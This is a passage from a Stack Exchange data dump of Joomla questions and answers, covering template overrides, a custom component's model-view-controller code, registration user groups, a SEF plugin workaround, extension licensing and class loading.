&amp;lt;?php echo $this-&amp;gt;escape($item-&amp;gt;core_title); ?&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remove them and in their stead put in this line (the middle line of the three):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;escape($item-&amp;gt;core_title); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Scroll further down to the lines &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_($item-&amp;gt;link); ?&amp;gt;&quot; itemprop=&quot;url&quot;&amp;gt;&#xA;    &amp;lt;img src=&quot;&amp;lt;?php echo htmlspecialchars($images-&amp;gt;image_intro); ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo htmlspecialchars($images-&amp;gt;image_intro_alt); ?&amp;gt;&quot; itemprop=&quot;image&quot;&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and replace these with just the middle line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php echo htmlspecialchars($images-&amp;gt;image_intro); ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo htmlspecialchars($images-&amp;gt;image_intro_alt); ?&amp;gt;&quot; itemprop=&quot;image&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Click on Save, and your site should now just show the title and image, but without having links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you encounter problems you can click on Manage Folders, delete the com_tags folder under html and get back to where you started. &lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-01-25T15:11:46.307" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26686" PostTypeId="1" AcceptedAnswerId="26687" CreationDate="2020-01-26T12:31:24.280" Score="1" ViewCount="89" Body="&lt;p&gt;I am currently working on a component which will display &quot;events&quot;, stored in a database, on a map (filterable by location, category, date etc...). My first step is to display a simple report of the database, in a table. However, I am struggling to populate the html table with the values stored in my sql table. Any ideas where i am going wrong? From what i understand, Joomla requires a model, view, and controller. Here is my code for each:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;com_filteredMap/site/models/filteredmap.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;// No direct access to this file&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;/**&#xA; * FilteredMapList Model&#xA; *&#xA; * @since  0.0.1&#xA; */&#xA;class FilteredMapModelFilteredMap extends JModelList&#xA;{&#xA;    /**&#xA;     * Method to build an SQL query to load the list data.&#xA;     *&#xA;     * @return      string  An SQL query&#xA;     */&#xA;    protected function getListQuery()&#xA;    {&#xA;        // Initialize variables.&#xA;        $db    = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;        // Create the base select statement.&#xA;        $query-&amp;gt;select('*')&#xA;                -&amp;gt;from($db-&amp;gt;quoteName('#__filteredmap'));&#xA;&#xA;        return $query;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;com_filteredMap/site/views/filteredmap/view.html.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;class FilteredMapViewFilteredMap extends JViewLegacy&#xA;{&#xA;    /**&#xA;     * Display the Filtered map view&#xA;     *&#xA;     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.&#xA;     *&#xA;     * @return  void&#xA;     */&#xA;    function display($tpl = null)&#xA;    {&#xA;        // Assign data to the view&#xA;        $this-&amp;gt;item = $this-&amp;gt;get('Item');&#xA;        $this-&amp;gt;pagination   = $this-&amp;gt;get('Pagination');&#xA;&#xA;        // Check for errors.&#xA;        if (count($errors = $this-&amp;gt;get('Errors')))&#xA;        {&#xA;            JLog::add(implode('&amp;lt;br /&amp;gt;', $errors), JLog::WARNING, 'jerror');&#xA;&#xA;            return false;&#xA;        }&#xA;&#xA;        // Display the view&#xA;        parent::display($tpl);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;com_filteredMap/site/controller.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// No direct access to this file&#xA;defined('_JEXEC') or die('Restricted access');&#xA;/**&#xA; * Filtered Map Component Controller&#xA; *&#xA; * @since  0.0.1&#xA; */&#xA;class FilteredMapController extends JControllerLegacy&#xA;{&#xA;        /**&#xA;     * Proxy for getModel.&#xA;     *&#xA;     * @param   string  $name    The model name. Optional.&#xA;     * @param   string  $prefix  The class prefix. Optional.&#xA;     * @param   array   $config  Configuration array for model. Optional.&#xA;     *&#xA;     * @return  object  The model.&#xA;     *&#xA;     * @since   1.6&#xA;     */&#xA;    public function getModel($name = 'FilteredMap', $prefix = 'FilteredMapModel', $config = array('ignore_request' =&amp;gt; true))&#xA;    {&#xA;        $model = parent::getModel($name, $prefix, $config);&#xA;&#xA;        return $model;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;com_filteredMap/site/views/filteredmap/tmpl/default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;&#xA;// No direct access to this file&#xA;defined('_JEXEC') or die('Restricted access');&#xA;?&amp;gt;&#xA;&amp;lt;h1&amp;gt; Filtered Map &amp;lt;/h1&amp;gt;&#xA;&#xA;&amp;lt;form method=&quot;post&quot; id=&quot;frontEndForm&quot; name=&quot;frontEndForm&quot;&amp;gt;&#xA;    &amp;lt;table class=&quot;table table-striped table-hover&quot;&amp;gt;&#xA;        &amp;lt;thead&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th width=&quot;84%&quot;&amp;gt;&#xA;                &amp;lt;?php echo JText::_('Event Sumary') ;?&amp;gt;&#xA;            &amp;lt;/th&amp;gt;&#xA;            &amp;lt;th width=&quot;6%&quot;&amp;gt;&#xA;                &amp;lt;?php echo JText::_('Date'); ?&amp;gt;&#xA;            &amp;lt;/th&amp;gt;&#xA;            &amp;lt;th width=&quot;10%&quot;&amp;gt;&#xA;                &amp;lt;?php echo JText::_('Location'); ?&amp;gt;            &#xA;            &amp;lt;/th&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/thead&amp;gt;&#xA;                &amp;lt;tfoot&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td colspan=&quot;5&quot;&amp;gt;&#xA;                    &amp;lt;?php //echo $this-&amp;gt;pagination-&amp;gt;getListFooter(); ?&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/tfoot&amp;gt;&#xA;        &amp;lt;tbody&amp;gt;&#xA;            &amp;lt;?php if (!empty($this-&amp;gt;items)) : ?&amp;gt;&#xA;                &amp;lt;?php foreach ($this-&amp;gt;items as $i =&amp;gt; $row) : ?&amp;gt;&#xA;                    &amp;lt;tr&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&#xA;                            &amp;lt;?php echo $row-&amp;gt;title; ?&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&#xA;                            &amp;lt;?php echo $row-&amp;gt;dates; ?&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&#xA;                            &amp;lt;?php //addlocationhere ?&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;?php endforeach; ?&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/tbody&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code causes the following to be displayed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rBMIL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rBMIL.png&quot; alt=&quot;screenshot of extension&amp;#39;s front end page&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have worked with Joomla for a while but i am fairly new to programming extensions. Any help/advise would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="13748" LastActivityDate="2020-01-26T19:35:24.560" Title="Problem accessing database from front end of a component" Tags="|joomla-3.x|php|development|mysql|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26687" PostTypeId="2" ParentId="26686" CreationDate="2020-01-26T19:35:24.560" Score="1" Body="&lt;p&gt;Overall this is coming along well!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You just need to change in your view.html.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;item = $this-&amp;gt;get('Item');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;items = $this-&amp;gt;get('Items');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This call will get translated by the view &lt;code&gt;get&lt;/code&gt; function into a call &lt;code&gt;getItems&lt;/code&gt; in the model JModelList, which will then run the query you supplied in your model &lt;code&gt;getListQuery&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're already iterating through &lt;code&gt;$this-&amp;gt;items&lt;/code&gt; properly in your layout file. &lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-01-26T19:35:24.560" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26688" PostTypeId="1" AcceptedAnswerId="26694" CreationDate="2020-01-28T10:24:04.967" Score="3" ViewCount="851" Body="&lt;p&gt;Joomla 3.9.14&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a URL &lt;code&gt;example.com/training/register&lt;/code&gt;, this displays a default Joomla user registration form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within Joomla I have various user groups;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; - Guest&#xA; - Registered&#xA; - - Training&#xA; - - Sport&#xA; - - Finance&#xA; - Administrator&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When a user registers on my site at &lt;code&gt;example.com/training/register&lt;/code&gt; how can I automatically add them to the &lt;code&gt;Training&lt;/code&gt; user group?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the future I'll also need to do the same thing for other user groups and URLs, e.g;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Register at URL &lt;code&gt;example.com/sport/register&lt;/code&gt; &gt; Add to group &lt;code&gt;Sport&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Register at URL &lt;code&gt;example.com/finance/register&lt;/code&gt; &gt; Add to group &lt;code&gt;Finance&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Maybe I could use the Joomla User Profile plugin with a custom field that displays a dropdown of available categories (Training / Sport / Finance). Based on this selection the user would be added to the corresponding group?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also open to suggestions for third party extensions.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2020-01-28T14:36:14.133" LastActivityDate="2020-01-30T10:36:08.413" Title="User Registration Assign to Specific Group" Tags="|user|form|registration|user-groups|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26689" PostTypeId="1" AcceptedAnswerId="26690" CreationDate="2020-01-28T19:33:48.267" Score="2" ViewCount="85" Body="&lt;p&gt;I have a mustache template and the output via php is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{{link}}&quot;&amp;gt;&amp;lt;img src=&quot;{{image}}&quot; title=&quot;{{name}}&quot; alt=&quot;{{name}}&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but Joomla renders my output to: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/{{link}}&quot;&amp;gt;&amp;lt;img src=&quot;/{{image}}&quot; title=&quot;{{name}}&quot; alt=&quot;{{name}}&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so all links are filled with mustache are wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I disable this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: I found that /plugins/system/sef/sef.php up to line 118 are made this change.&lt;br&gt;&#xA;But how can I change it without change anything in the core files?&lt;/p&gt;&#xA;" OwnerUserId="8968" LastEditorUserId="8968" LastEditDate="2020-01-28T21:32:30.127" LastActivityDate="2020-01-31T09:44:45.243" Title="Joomla adds / to empty href and src attribute" Tags="|joomla-3.x|component|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="26690" PostTypeId="2" ParentId="26689" CreationDate="2020-01-29T09:37:47.877" Score="3" Body="&lt;p&gt;The Problem is the SEF Plugin. So I don't want to modify a core Plugin, so I wrote a new Plugin that makes the changes only for the mustache template back.&lt;br&gt;&#xA;!!! Importent that the new plugin must execute after the SEF Plugin&lt;br&gt;&#xA;Here is my code sample to replace the / for the {{name}}  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onAfterRender()&#xA;    {&#xA;        if (!$this-&amp;gt;app-&amp;gt;isClient('site'))&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        $buffer = $this-&amp;gt;app-&amp;gt;getBody();&#xA;        $buffer = str_replace('/{{', '{{', $buffer);&#xA;            $this-&amp;gt;app-&amp;gt;setBody($buffer);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8968" LastEditorUserId="8968" LastEditDate="2020-01-31T09:44:45.243" LastActivityDate="2020-01-31T09:44:45.243" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26691" PostTypeId="1" CreationDate="2020-01-29T14:55:52.273" Score="1" ViewCount="48" Body="&lt;p&gt;I have developed a free Joomla component and I want to create a commercial version of this component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the differences regarding the code between a free extension and a commercial extension? between a subscription and a unique sale? Which one is the best option for code maintenance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't find any documentation or tutorial on this subject.&lt;/p&gt;&#xA;" OwnerUserId="14063" LastEditorUserId="12352" LastEditDate="2020-01-29T19:38:23.043" LastActivityDate="2020-02-28T20:01:02.570" Title="How to build a commercial component from my free component?" Tags="|extensions|commercial|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26692" PostTypeId="2" ParentId="26691" CreationDate="2020-01-29T18:26:48.357" Score="1" Body="&lt;p&gt;As far as code goes, there is none. It's expected that commercial code be written better, but that's not a requirement, just an expectation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The major difference between commercial and free is the level of support expected. Most sensible people will cut you some slack if the support for a free extension is spotty or slow (some won't, even then). But once you take their money, they expect professional support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to be aware of when &quot;going commercial&quot; is license limitations. Read the Joomla license (GPL) and understand what that means for the code you write. Since Joomla is licensed under the GPL, you will probably find that your own PHP code will have to be as well (it's the viral nature of the GPL). Understand what that means for you before you start down that road.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Insert standard &quot;I am not a lawyer but my desk is 20 feet away from one&quot; disclaimer here.)&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2020-01-29T18:26:48.357" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26694" PostTypeId="2" ParentId="26688" CreationDate="2020-01-30T10:36:08.413" Score="3" Body="&lt;p&gt;Briefly, these are your main options: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Write a custom user registration component&lt;/li&gt;&#xA;&lt;li&gt;Write a User Plugin that will handle the usergroup of the registered users&lt;/li&gt;&#xA;&lt;li&gt;Use 3rd party Form extensions which integrate with JUsers and create your custom form(s)&lt;br&gt;&#xA;A few form extensions that work well for this use case:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.rsjoomla.com/joomla-extensions/joomla-form.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;RSForm pro&lt;/a&gt; with its JUser/Registration plugin, &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://fabrikar.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fabrik&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;A few more links that can be of help:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Plugin/Events/User&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Docs Plugin/Events/User&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.rsjoomla.com/support/documentation/rsform-pro/plugins-and-modules/rsformpro-joomla-user-registration-plugin.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;RSForm - Custom user registration forms&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.rsjoomla.com/support/documentation/rsform-pro/custom-scripting/create-a-joomla-registration-form-with-dynamic-user-group-assignment.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;RSForm -  dynamic user group&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;JSE Links: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/22751&quot;&gt;Assign user to a specific group based on custom field selected&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/15709/&quot;&gt;Pre select user group based on menu item being viewed&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastActivityDate="2020-01-30T10:36:08.413" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26695" PostTypeId="1" AcceptedAnswerId="26696" CreationDate="2020-01-30T11:09:51.517" Score="0" ViewCount="127" Body="&lt;p&gt;I am trying to incorporate an external application as a library within Joomla which I have done before on a couple of occasions, however in this case there is a single .php file with about 20 classes and I am starting to think it is not possible to handle this in Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to use a Class it comes back as not found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My previous efforts haves always been a single file containing a single class of the same name as the file it resides in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the non Joomla environment this application uses a simple Include statement but in my attempts I am using Jloader to register the Namespace, like I have done before, but everything I have read all seems to expect a one to one relationship between the filename and the class name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I trying to do the impossible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could split the single file into individual files/classes but I would prefer not too if I don't have to. &lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2020-06-28T18:04:40.543" Title="Creating a Library with multiple classes within a single file" Tags="|joomla-3.x|development|libraries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26696" PostTypeId="2" ParentId="26695" CreationDate="2020-01-30T16:52:34.407" Score="1" Body="&lt;p&gt;Just curious, but what's the issue with breaking it up? Seems to me it's much better programming practice and better for tracking down issues to not have to dig past 17 other classes to find that one that's causing a problem, so I'm curious what the reasons might be for not doing that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from that, I think the syntax you're after is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jloader::register(classname, pathToFile);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register(&quot;MyExtraSpecialClass&quot;, JPATH_SITE . '/components/com_mine/library/fred.php'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Repeating the same file for every class in it (and remembering to add whatever namespacing there might be for the class name). Didn't that work for you?&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2020-01-30T16:52:34.407" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26697" PostTypeId="1" CreationDate="2020-01-31T22:26:04.343" Score="0" ViewCount="118" Body="&lt;p&gt;I have component which has &lt;code&gt;config.xml&lt;/code&gt;. It is render with the &lt;code&gt;com_config/view/component/tmpl/default.php&lt;/code&gt;. I need to override this file in my component and create my custom layout. Red all the articles around but still can't understand how to do it. Can someone show me a little example of this or leads me to the correct way. Thank you!&#xA;&lt;code&gt;config.xml&lt;/code&gt; of my component:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fieldset label=&quot;COM_CARS_FORM_DEFAULT_FIELD_VALUES&quot; name=&quot;cars&quot;&amp;gt;&#xA;        &amp;lt;field name=&quot;default_category&quot; query=&quot;SELECT id, category&amp;amp;#13;&amp;amp;#10;FROM #__cars_categories &amp;amp;#13;&amp;amp;#10;WHERE state=1;&quot; key_field=&quot;id&quot; value_field=&quot;category&quot; multiple=&quot;true&quot; type=&quot;sql&quot; label=&quot;COM_CARS_FORM_LBL_DEFAULT_CATEGORY&quot; description=&quot;COM_CARS_FORM_DESC_DEFAULT_CATEGORY&quot; hint=&quot;COM_CARS_FORM_LBL_DEFAULT_CATEGORY&quot;/&amp;gt;&#xA;        &amp;lt;field name=&quot;default_make&quot; query=&quot;SELECT id, make&amp;amp;#13;&amp;amp;#10;FROM #__cars_makes &amp;amp;#13;&amp;amp;#10;WHERE state=1;&quot; key_field=&quot;id&quot; value_field=&quot;make&quot; header=&quot;- none selected -&quot; type=&quot;sql&quot; label=&quot;COM_CARS_FORM_LBL_DEFAULT_MAKE&quot; description=&quot;COM_CARS_FORM_DESC_DEFAULT_MAKE&quot; hint=&quot;COM_CARS_FORM_LBL_DEFAULT_MAKE&quot;/&amp;gt;&#xA;        &amp;lt;field name=&quot;default_bodytype&quot; query=&quot;SELECT id, bodytype&amp;amp;#13;&amp;amp;#10;FROM #__cars_bodytypes&amp;amp;#13;&amp;amp;#10;WHERE state=1;&quot; key_field=&quot;id&quot; value_field=&quot;bodytype&quot; header=&quot;- none selected -&quot; type=&quot;sql&quot; label=&quot;COM_CARS_FORM_LBL_DEFAULT_BODYTYPE&quot; description=&quot;COM_CARS_FORM_DESC_DEFAULT_BODYTYPE&quot; hint=&quot;COM_CARS_FORM_LBL_DEFAULT_BODYTYPE&quot;/&amp;gt;&#xA;        &amp;lt;field name=&quot;default_fueltype&quot; query=&quot;SELECT id, fueltype&amp;amp;#13;&amp;amp;#10;FROM #__cars_fueltypes &amp;amp;#13;&amp;amp;#10;WHERE state=1;&quot; key_field=&quot;id&quot; value_field=&quot;fueltype&quot; header=&quot;- none selected -&quot; type=&quot;sql&quot; label=&quot;COM_CARS_FORM_LBL_DEFAULT_FUELTYPE&quot; description=&quot;COM_CARS_FORM_DESC_DEFAULT_FUELTYPE&quot; hint=&quot;COM_CARS_FORM_LBL_DEFAULT_FUELTYPE&quot;/&amp;gt;&#xA;        &amp;lt;field name=&quot;default_transmission&quot; query=&quot;SELECT id, transmission&amp;amp;#13;&amp;amp;#10;FROM #__cars_transmissions &amp;amp;#13;&amp;amp;#10;WHERE state=1;&quot; key_field=&quot;id&quot; value_field=&quot;transmission&quot; header=&quot;- none selected -&quot; type=&quot;sql&quot; label=&quot;COM_CARS_FORM_LBL_DEFAULT_TRANSMISSION&quot; description=&quot;COM_CARS_FORM_DESC_DEFAULT_TRANSMISSION&quot; hint=&quot;COM_CARS_FORM_LBL_DEFAULT_TRANSMISSION&quot;/&amp;gt;&#xA;        &amp;lt;field name=&quot;default_emissionsclass&quot; query=&quot;SELECT id, emissionsclass&amp;amp;#13;&amp;amp;#10;FROM #__cars_emissionsclasses &amp;amp;#13;&amp;amp;#10;WHERE state=1;&quot; key_field=&quot;id&quot; value_field=&quot;emissionsclass&quot; header=&quot;- none selected -&quot; type=&quot;sql&quot; label=&quot;COM_CARS_FORM_LBL_DEFAULT_EMISSIONSCLASS&quot; description=&quot;COM_CARS_FORM_DESC_DEFAULT_EMISSIONSCLASS&quot; hint=&quot;COM_CARS_FORM_LBL_DEFAULT_EMISSIONSCLASS&quot;/&amp;gt;&#xA;        &amp;lt;field name=&quot;default_interior&quot; query=&quot;SELECT id, interior&amp;amp;#13;&amp;amp;#10;FROM #__cars_interiors&amp;amp;#13;&amp;amp;#10;WHERE state=1;&quot; key_field=&quot;id&quot; value_field=&quot;interior&quot; header=&quot;- none selected -&quot; type=&quot;sql&quot; label=&quot;COM_CARS_FORM_LBL_DEFAULT_INTERIOR&quot; description=&quot;COM_CARS_FORM_DESC_DEFAULT_INTERIOR&quot; hint=&quot;COM_CARS_FORM_LBL_DEFAULT_INTERIOR&quot;/&amp;gt;&#xA;        &amp;lt;field name=&quot;default_options&quot; query=&quot;SELECT id, option&amp;amp;#13;&amp;amp;#10;FROM #__cars_options &amp;amp;#13;&amp;amp;#10;WHERE state=1;&quot; key_field=&quot;id&quot; value_field=&quot;option&quot; multiple=&quot;true&quot; type=&quot;sql&quot; label=&quot;COM_CARS_FORM_LBL_DEFAULT_OPTIONS&quot; description=&quot;COM_CARS_FORM_DESC_DEFAULT_OPTIONS&quot; hint=&quot;COM_CARS_FORM_LBL_DEFAULT_OPTIONS&quot;/&amp;gt;&#xA;        &amp;lt;field name=&quot;default_warranty&quot; filter=&quot;string&quot; type=&quot;text&quot; label=&quot;COM_CARS_FORM_LBL_DEFAULT_WARRANTY&quot; description=&quot;COM_CARS_FORM_DESC_DEFAULT_WARRANTY&quot; hint=&quot;COM_CARS_FORM_LBL_DEFAULT_WARRANTY&quot;/&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;fieldset label=&quot;COM_CARS_FORM_IMG_SETTINGS&quot; name=&quot;images&quot;&amp;gt;&#xA;        &amp;lt;field name=&quot;img_accepted_files&quot; filter=&quot;string&quot; type=&quot;text&quot; default=&quot;image/jpeg,image/png,image/gif,image/jpg&quot; label=&quot;COM_CARS_FORM_LBL_IMG_ACCEPTED_FILES&quot; description=&quot;COM_CARS_FORM_DESC_IMG_ACCEPTED_FILES&quot; hint=&quot;COM_CARS_FORM_LBL_IMG_ACCEPTED_FILES&quot;/&amp;gt;&#xA;        &amp;lt;field name=&quot;img_maxwidth&quot; maxlength=&quot;5&quot; filter=&quot;unit&quot; type=&quot;text&quot; default=&quot;1600&quot; label=&quot;COM_CARS_FORM_LBL_IMG_MAXWIDTH&quot; description=&quot;COM_CARS_FORM_DESC_IMG_MAXWIDTH&quot; hint=&quot;COM_CARS_FORM_LBL_IMG_MAXWIDTH&quot;/&amp;gt;&#xA;        &amp;lt;field name=&quot;img_maxheight&quot; maxlength=&quot;5&quot; filter=&quot;unit&quot; type=&quot;text&quot; default=&quot;1000&quot; label=&quot;COM_CARS_FORM_LBL_IMG_MAXHEIGHT&quot; description=&quot;COM_CARS_FORM_DESC_IMG_MAXHEIGHT&quot; hint=&quot;COM_CARS_FORM_LBL_IMG_MAXHEIGHT&quot;/&amp;gt;&#xA;        &amp;lt;field name=&quot;img_aspect_ratio&quot; default=&quot;8/5&quot; type=&quot;list&quot; label=&quot;COM_CARS_FORM_LBL_IMG_ASPECT_RATIO&quot; description=&quot;COM_CARS_FORM_DESC_IMG_ASPECT_RATIO&quot; hint=&quot;COM_CARS_FORM_LBL_IMG_ASPECT_RATIO&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;16/9&quot;&amp;gt;16:9&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;8/5&quot;&amp;gt;8:5&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;3/2&quot;&amp;gt;3:2&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;4/3&quot;&amp;gt;4:3&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;        &amp;lt;field name=&quot;img_size_large&quot; maxlength=&quot;4&quot; filter=&quot;unit&quot; type=&quot;text&quot; default=&quot;1200&quot; label=&quot;COM_CARS_FORM_LBL_IMG_SIZE_LARGE&quot; 